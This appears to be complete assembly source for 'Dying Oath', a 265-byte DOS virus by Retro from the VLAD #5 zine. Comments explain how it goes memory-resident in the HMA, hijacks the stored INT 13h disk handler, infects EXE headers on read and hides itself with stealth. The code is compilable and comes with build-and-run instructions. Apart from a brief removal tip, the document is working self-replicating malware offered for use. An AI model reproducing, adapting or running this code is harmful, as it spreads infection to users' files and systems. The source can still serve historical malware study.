; d y i n g . o a t h . b y . r e t r o
; 265 bytes
;
; This is a EXE header virus that goes resident in the HMA, when i13 is
; hooked the vector isnt changed, but the address of the original i13
; (stored on bootup) is changed and that gets called instead.
; On the first run it will install itself, build a parameter block then
; re-execute the file. Now, because the virus is resident the file will be
; cleaned upon execution. The virus will then get the errorlevel returned
; and exit with the errorlevel...
; Removing this virus from an EXE file is easy: boot from a clean disk then
; replace the EB at the start of the EXE file with a 'M'...its that easy!
;
; Note: When this file is compiled (with a86) it will look exactly like an
; already infected file. Just rename the BIN to a EXE and run the file. The
; file should say 'VIRUS!#@' when executed.
; The virus scans under one flag (the 'N' flag) when not resident, when
; the virus is resident it is full stealth so there are no flags.
org 0
Start:
jmp short AfterHeader ;Jump to our code.
LastPageSize dw 0030h ;this is all the header shit...
FileSizeInPages dw 0002h
NumberOfEntries dw 0000h
SizeOfHeader dw 0020h
MinimumMemParas dw 0000h
MaximumMemParas dw 0FFFFh
InitialSS dw 0002h
InitialSP dw 0010h
NegativeChksum dw 0F9A1h
InitialIP dw 0000h
InitialCS dw 0000h
OffsOfRelocTbl dw 001Eh
OverlayNumber dw 0000h
dw 0001h
db 3Eh dup (0) ;fill up the space with zeros
AfterHeader:
mov ah,0Dh ;flush disk buffers
int 21h
mov ax,4A02h ;allocate some memory from HMA
mov bx,offset EndOfVirus
int 2Fh
inc di ;DI = FFFFh if no HMA
jnz NoWorries
mov al,1 ;if error we cant execute old file..
jmp ExitWithErrorlevel ;..so just exit with errorlevel=1
NoWorries:
dec di ;set di back to how it was
mov [NewOffs+100h],di
; The above line is needed because when you allocate HMA the pointer
;to the allocated block is never the same...so its sorta like getting
;the offset at the start of a COM virus
push di ;save di for later
mov si,100h ;start copying from 100h
mov cx,offset EndOfVirus
rep movsb ;copy the virus up
pop di ;restore di
mov ax,70h
mov ds,ax
mov si,0B4h
add di,offset OldInt
movsw
movsw
mov [si-4],di
mov [si-2],es
; The original i13 is stored at 0070:00B4 and it has been there since
;dos 3.3, so qark & kd inform me. The handler is straight after the
;storage area for the old i13, so we save some code there
push cs ;cs=ds
pop ds
mov es,[2Ch] ;set ES = segment of the environment
xor di,di ;zero di
mov ax,di ;put zero in ax aswell
cld ;we want to go left-right in mem
inc di
Search:
dec di ;this just searches for two zeros
scasw
jne Search
scasw ;Filename = the two zeros + a word
push es
push cs
pop es
pop ds
mov ah,4Ah ;resize mem block
mov bx,(offset EndOfVirus+10Fh)/10h
int 21h
shl bx,4
mov sp,bx ;set sp at end of our mem
push ds ;save the pointers
push di
; Now we have to set up a parameter block coz we are going to execute
;the file so it will be cleaned on read...
push cs
pop ds
mov cx,3
mov si,offset ParameterTable+100h
mov bx,offset ParameterBlock+100h
lea di,[bx+2]
MakeParameterBlock:
movsb
scasb
mov ax,cs
stosw
loop MakeParameterBlock
pop dx ;DS:DX=ES:DI=offset of fname
pop ds
mov ax,4B00h
int 21h
mov ah,4Dh ;get the errorlevel returned
int 21h
ExitWithErrorLevel:
mov ah,4Ch ;go and exit with it
int 21h
db '[Dying_Oath] by Retro'
ParameterTable db 80h,5Ch,6Ch
;.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.
Exit:
db 0EAh ;opcode of JMP ssss:oooo
OldInt dd 0
Handler:
cmp ah,2 ;disk read ?
jne Exit
push si ;save that SI!
; We need the MOV SI,xxxx becoz we aint never in the same part of mem
db 0BEh
NewOffs dw 0
pushf ;call the old i13
call dword ptr cs:[si+OldInt]
jc ReturnFar ;if carry, bail out
push ds ;save some registers
pusha
pushf
push cs ;cs=ds
pop ds
mov ax,es:[bx] ;check out the first 2 bytes
xor ax,'ZM' ;anti-TBSCAN code!
je Infect
ShouldStealth:
cmp byte ptr es:[bx],0EBh ;see if already infected
jne PopAllReturnFlags
cmp word ptr es:[bx+AfterHeader],0DB4h
je StealthIt
jmp PopAllReturnFlags
Infect:
cmp word ptr es:[bx+4],65024/512 ;make sure file aint to big
ja PopAllReturnFlags
cld
add si,offset AfterHeader
lea di,[bx+AfterHeader]
xor ax,ax
mov cx,offset EndOfVirus-offset AfterHeader
pusha
rep scasb ;make sure there is space
popa
jne PopAllReturnFlags
;DontMoveVirusIn ;if there aint, well erm...
rep movsb ;move the virus in!
mov byte ptr es:[bx],0EBh ;put the jump in
DontMoveVirusIn:
popf ;get the original registers
popa
pusha
pushf
mov ax,301h
pushf ;rewrite the sectors
call dword ptr [si+OldInt]
StealthIt:
mov byte ptr es:[bx],'M' ;put the 'M' back
; Now we fill the space that our virus sits in with zeros...
lea di,[bx+AfterHeader]
xor ax,ax
mov cx,offset EndOfVirus-offset AfterHeader
rep stosb
PopAllReturnFlags:
popf ;restore flags
PopAllReturn:
popa ;restore some registers
pop ds
ReturnFar:
pop si ;restore si
retf 2 ;iret but dont change flags
ParameterBlock:
db 0Bh dup (0) ;leave room for the params
EndOfVirus:
; the rest of this shit is the original file sorta, it just sez 'VIRUS!#@'
org 200h
push cs ;original file starts at 200h
pop ds ;cs=ds
mov dx,0Eh
mov ah,9 ;display our funkee text
int 21h
mov ax,4C00h ;and exit
int 21h
db 'VIRUS!#@$'
db 19h dup 0 ;this is the stack...
- VLAD #5 INDEX -